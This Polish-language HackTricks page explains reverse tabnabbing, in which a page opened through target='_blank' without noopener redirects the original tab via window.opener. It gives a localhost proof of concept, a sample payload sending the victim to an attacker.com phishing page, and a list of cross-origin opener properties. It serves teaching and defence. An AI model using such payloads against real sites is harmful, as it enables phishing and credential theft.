Reverse Tab Nabbing

Support HackTricks

Opis

W sytuacji, w której atakujący może kontrolować argument href tagu <a z atrybutem target="_blank" rel="opener", który ma zostać kliknięty przez ofiarę, atakujący wskazuje ten link na stronę pod swoją kontrolą (złośliwa strona). Następnie, gdy ofiara kliknie link i uzyska dostęp do strony atakującego, ta złośliwa strona będzie mogła kontrolować oryginalną stronę za pomocą obiektu javascript window.opener. Jeśli strona nie ma rel="opener" ale zawiera target="_blank" i nie ma rel="noopener", może być również podatna.

Zwykłym sposobem na nadużycie tego zachowania byłoby zmiana lokalizacji oryginalnej strony za pomocą window.opener.location = https://attacker.com/victim.html na stronę kontrolowaną przez atakującego, która wygląda jak oryginalna, aby mogła imitować formularz logowania oryginalnej strony i prosić użytkownika o dane logowania.

Należy jednak zauważyć, że ponieważ atakujący teraz może kontrolować obiekt okna oryginalnej strony, może go nadużywać w inny sposób, aby przeprowadzać ukryte ataki (może modyfikując zdarzenia javascript, aby wykradać informacje na serwer kontrolowany przez niego?)

Przegląd

Z linkiem zwrotnym

Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający nie jest używany:

Bez linku zwrotnego

Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający jest używany:

Przykłady

Utwórz następujące strony w folderze i uruchom serwer www za pomocą python3 -m http.server Następnie, uzyskaj dostęp do http://127.0.0.1:8000/vulnerable.html, kliknij w link i zauważ, jak oryginalny adres URL strony się zmienia.

vulnerable.html
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
malicious_redir.html
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>

Dostępne właściwości

W scenariuszu, w którym występuje cross-origin (dostęp między różnymi domenami), właściwości instancji klasy JavaScript window, do której odnosi się obiekt JavaScript opener, które mogą być dostępne dla złośliwej witryny, są ograniczone do następujących:

  • opener.closed: Ta właściwość jest używana do określenia, czy okno zostało zamknięte, zwracając wartość boolean.

  • opener.frames: Ta właściwość zapewnia dostęp do wszystkich elementów iframe w bieżącym oknie.

  • opener.length: Liczba elementów iframe obecnych w bieżącym oknie jest zwracana przez tę właściwość.

  • opener.opener: Referencja do okna, które otworzyło bieżące okno, może być uzyskana za pomocą tej właściwości.

  • opener.parent: Ta właściwość zwraca okno nadrzędne bieżącego okna.

  • opener.self: Ta właściwość zapewnia dostęp do samego bieżącego okna.

  • opener.top: Ta właściwość zwraca najwyższe okno przeglądarki.

Jednak w przypadkach, gdy domeny są identyczne, złośliwa witryna zyskuje dostęp do wszystkich właściwości udostępnionych przez referencję obiektu JavaScript window.

Zapobieganie

Informacje o zapobieganiu są udokumentowane w HTML5 Cheat Sheet.

Odniesienia

Wsparcie dla HackTricks

Last updated